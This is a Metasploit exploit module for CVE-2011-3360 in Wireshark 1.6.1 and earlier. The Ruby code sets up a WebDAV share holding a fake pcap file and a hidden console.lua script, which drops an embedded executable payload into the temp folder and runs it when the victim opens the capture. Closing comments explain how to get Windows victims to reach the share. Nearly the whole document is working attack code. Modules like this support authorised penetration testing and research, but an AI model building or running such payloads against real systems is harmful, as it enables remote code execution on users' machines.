Add wireshark console.lua exploit (CVE-2011-3360)
sinn3r
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30f13984ea
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpServer::HTML
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include Msf::Exploit::EXE
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def initialize(info={})
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super(update_info(info,
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'Name' => "Wireshark console.lua pre-loading vulnerability",
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'Description' => %q{
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This modules exploits a vulnerability in Wireshark 1.6 or less. When opening a
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pcap file, Wireshark will actually check if there's a 'console.lua' file in the same
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directory, and then parse/execute the script if found. Versions affected by this
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vulnerability: 1.6.0 to 1.6.1, 1.4.0 to 1.4.8
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'sinn3r', #Metasploit
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],
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'References' =>
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[
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['CVE', '2011-3360'],
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['OSVDB', '75347'],
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['URL', 'https://bugs.wireshark.org/bugzilla/show_bug.cgi?id=6136'],
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['URL', 'http://technet.microsoft.com/en-us/security/advisory/2269637']
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],
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'Payload' =>
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{
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'BadChars' => "\x00",
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},
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'DefaultOptions' =>
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{
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'ExitFunction' => "none"
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},
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'Platform' => 'win',
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'Targets' =>
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[
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['Wireshark 1.6.1 or less', {}],
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],
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'Privileged' => false,
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'DisclosureDate' => "Jul 18 2011", #Didn't go public until 2011-09-21 though
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'DefaultTarget' => 0))
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register_options(
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[
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OptPort.new('SRVPORT', [ true, "The daemon port to listen on (do not change)", 80 ]),
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OptString.new('SHARENAME', [ true, "The name of the top-level share.", "files"]),
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OptString.new('URIPATH', [ true, "The URI to use", "/" ]),
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OptString.new('FILENAME', [ true, "The name of the pcap file", "msf.pcap"])
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], self.class)
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deregister_options('SSL', 'SSLVersion') # WebDAV does not support SSL
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end
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def on_request_uri(cli, request)
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case request.method
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when 'OPTIONS'
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process_options(cli, request)
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when 'PROPFIND'
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process_propfind(cli, request)
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when 'GET'
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process_get(cli, request)
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else
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print_status("#{cli.peerhost}:#{cli.peerport} #{request.method} => 404 (#{request.uri})")
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resp = create_response(404, "Not Found")
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resp.body = ""
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resp['Content-Type'] = 'text/html'
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cli.send_response(resp)
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end
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end
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def process_get(cli, request)
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print_status("URI requested: #{request.uri.to_s}")
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if request.uri =~ /\.lua$/
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# Load lua script
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print_status("Sending lua script")
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send_response(cli, @p, {'Content-Type'=>'application/octet-stream'})
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elsif request.uri =~ /#{datastore['FILENAME']}/
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# Load an empty pcap file
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# Format reference: http://wiki.wireshark.org/Development/LibpcapFileFormat
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pcap = ''
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pcap << "\xd4\xc3\xb2\xa1" #Magic number
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pcap << "\x02\x00" #Major version number
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pcap << "\x04\x00" #Minor version number
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pcap << "\x00\x00\x00\x00" #GMT to local correction
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pcap << "\x00\x00\x00\x00" #Accuracy of timestamp
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pcap << "\xff\xff\x00\x00" #Maxlength of captured packets in octets
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pcap << "\x01\x00\x00\x00" #Data length type
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print_status("Sending fake pcap file")
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send_response(cli, pcap, {'Content-Type'=>'application/octet-stream'})
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else
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# Don't know the request, return not found
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print_error("Don't care about this file, 404")
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send_not_found(cli)
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end
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return
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end
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def process_options(cli, request)
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vprint_status("#{cli.peerhost}:#{cli.peerport} OPTIONS #{request.uri}")
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headers = {
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'MS-Author-Via' => 'DAV',
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'DASL' => '<DAV:sql>',
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'DAV' => '1, 2',
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'Allow' => 'OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH',
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'Public' => 'OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK',
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'Cache-Control' => 'private'
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}
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resp = create_response(207, "Multi-Status")
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headers.each_pair {|k,v| resp[k] = v }
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resp.body = ''
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resp['Content-Type'] = 'text/xml'
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cli.send_response(resp)
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end
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def process_propfind(cli, request)
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path = request.uri
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vprint_status("Received WebDAV PROPFIND request from #{cli.peerhost}:#{cli.peerport} #{path}")
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body = ''
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my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
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my_uri = "http://#{my_host}/"
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if path !~ /\/$/
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if path.index(".")
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print_status("Sending 404 for #{path} ...")
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resp = create_response(404, "Not Found")
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resp['Content-Type'] = 'text/html'
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cli.send_response(resp)
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return
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else
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print_status("Sending 301 for #{path} ...")
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resp = create_response(301, "Moved")
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resp["Location"] = path + "/"
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resp['Content-Type'] = 'text/html'
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cli.send_response(resp)
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return
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end
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end
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print_status("Sending directory multistatus for #{path} ...")
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body = <<-BODY
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<?xml version="1.0" encoding="utf-8"?>
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<D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">
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<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
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<D:href>#{path}</D:href>
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<D:propstat>
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<D:prop>
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<lp1:resourcetype><D:collection/></lp1:resourcetype>
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<lp1:creationdate>2010-07-19T20:29:42Z</lp1:creationdate>
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<lp1:getlastmodified>Mon, 19 Jul 2010 20:29:42 GMT</lp1:getlastmodified>
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<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
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<D:supportedlock>
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<D:lockentry>
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<D:lockscope><D:exclusive/></D:lockscope>
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<D:locktype><D:write/></D:locktype>
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</D:lockentry>
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<D:lockentry>
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<D:lockscope><D:shared/></D:lockscope>
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<D:locktype><D:write/></D:locktype>
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</D:lockentry>
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</D:supportedlock>
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<D:lockdiscovery/>
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<D:getcontenttype>httpd/unix-directory</D:getcontenttype>
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</D:prop>
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<D:status>HTTP/1.1 200 OK</D:status>
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</D:propstat>
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</D:response>
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BODY
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body = body.gsub(/^\t\t/, '')
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if request["Depth"].to_i > 0
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if path.scan("/").length < 2
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body << generate_shares(path)
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else
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#Set filenames, and set the hidden attribute
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filenames =
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[
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['console.lua', true],
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[datastore['FILENAME'], false]
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]
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body << generate_files(path, filenames)
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end
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end
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body << "</D:multistatus>"
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body.gsub!(/\t/, '')
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# send the response
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resp = create_response(207, "Multi-Status")
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resp.body = body
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resp['Content-Type'] = 'text/xml; charset="utf8"'
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cli.send_response(resp)
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end
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def gen_timestamp(ttype=nil)
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::Time.now.strftime("%a, %d %b %Y %H:%M:%S GMT")
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end
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def gen_datestamp(ttype=nil)
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::Time.now.strftime("%Y-%m-%dT%H:%M:%SZ")
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end
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def generate_shares(path)
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share_name = datastore['SHARENAME']
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share = <<-SHARE
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<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
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<D:href>#{path}#{share_name}/</D:href>
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<D:propstat>
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<D:prop>
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<lp1:resourcetype><D:collection/></lp1:resourcetype>
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<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
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<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
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<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
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<D:supportedlock>
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<D:lockentry>
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<D:lockscope><D:exclusive/></D:lockscope>
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<D:locktype><D:write/></D:locktype>
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</D:lockentry>
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<D:lockentry>
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<D:lockscope><D:shared/></D:lockscope>
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<D:locktype><D:write/></D:locktype>
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</D:lockentry>
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</D:supportedlock>
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<D:lockdiscovery/>
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<D:getcontenttype>httpd/unix-directory</D:getcontenttype>
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</D:prop>
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<D:status>HTTP/1.1 200 OK</D:status>
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</D:propstat>
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</D:response>
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SHARE
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share = share.gsub(/^\t\t/, '')
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return share
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end
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def generate_files(path, items)
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trail = path.split("/")
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return "" if trail.length < 2
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files = ""
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items.each do |f, hide|
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h = hide ? '1' : '0'
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files << <<-FILES
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<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
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<D:href>#{path}#{f}</D:href>
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<D:propstat>
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<D:prop>
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<lp1:resourcetype/>
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<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
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<lp1:getcontentlength>#{rand(0x10000)+120}</lp1:getcontentlength>
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<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
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<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
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<lp2:executable>T</lp2:executable>
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<D:supportedlock>
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<D:lockentry>
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<D:lockscope><D:exclusive/></D:lockscope>
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<D:locktype><D:write/></D:locktype>
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</D:lockentry>
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<D:lockentry>
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<D:lockscope><D:shared/></D:lockscope>
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<D:locktype><D:write/></D:locktype>
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</D:lockentry>
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</D:supportedlock>
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<D:lockdiscovery/>
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<D:getcontenttype>application/octet-stream</D:getcontenttype>
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</D:prop>
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<D:status>HTTP/1.1 200 OK</D:status>
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<D:ishidden b:dt="boolean">#{h}</D:ishidden>
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</D:propstat>
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</D:response>
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FILES
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end
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files = files.gsub(/^\t\t\t/, '')
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return files
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end
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def get_lua_payload
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# Generate our executable payload, and then convert every byte
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# in decimal format
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p = generate_payload_exe
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buf = ''
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p.each_byte do |b|
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buf << "\\#{b.to_s}"
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end
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# Create the lua script that contains our payload
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var_payload_name = rand_text_alpha(5)
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var_temp_name = rand_text_alpha(5)
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lua_script = <<-LUA
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#{var_payload_name} = "#{buf}"
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#{var_temp_name} = os.getenv("TEMP") .. os.tmpname() .. ".exe"
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local f = io.open(#{var_temp_name}, "wb")
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f:write(#{var_payload_name})
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f:close()
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os.execute(#{var_temp_name})
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LUA
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lua_script = lua_script.gsub(/^\t\t/, '')
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return lua_script
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end
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def exploit
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@p = get_lua_payload
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super
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end
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end
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=begin
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Example of how to open the share:
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My Computer -> Tools -> Map Network Driver -> Sign up for online storage or
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connect to a network server -> Choose another network location ->
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enter the network address
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On an unpatched XP SP3 (and other Windows systems), the ideal URI format is like this:
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http://192.168.1.11/
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But on a fully patched XP SP3, the same URI format will not work. Windows will try to list
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the share via SMB, and the victim will not see the share. In this case, you should specify
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the URI to like this:
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http://192.168.1.11/files
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=end
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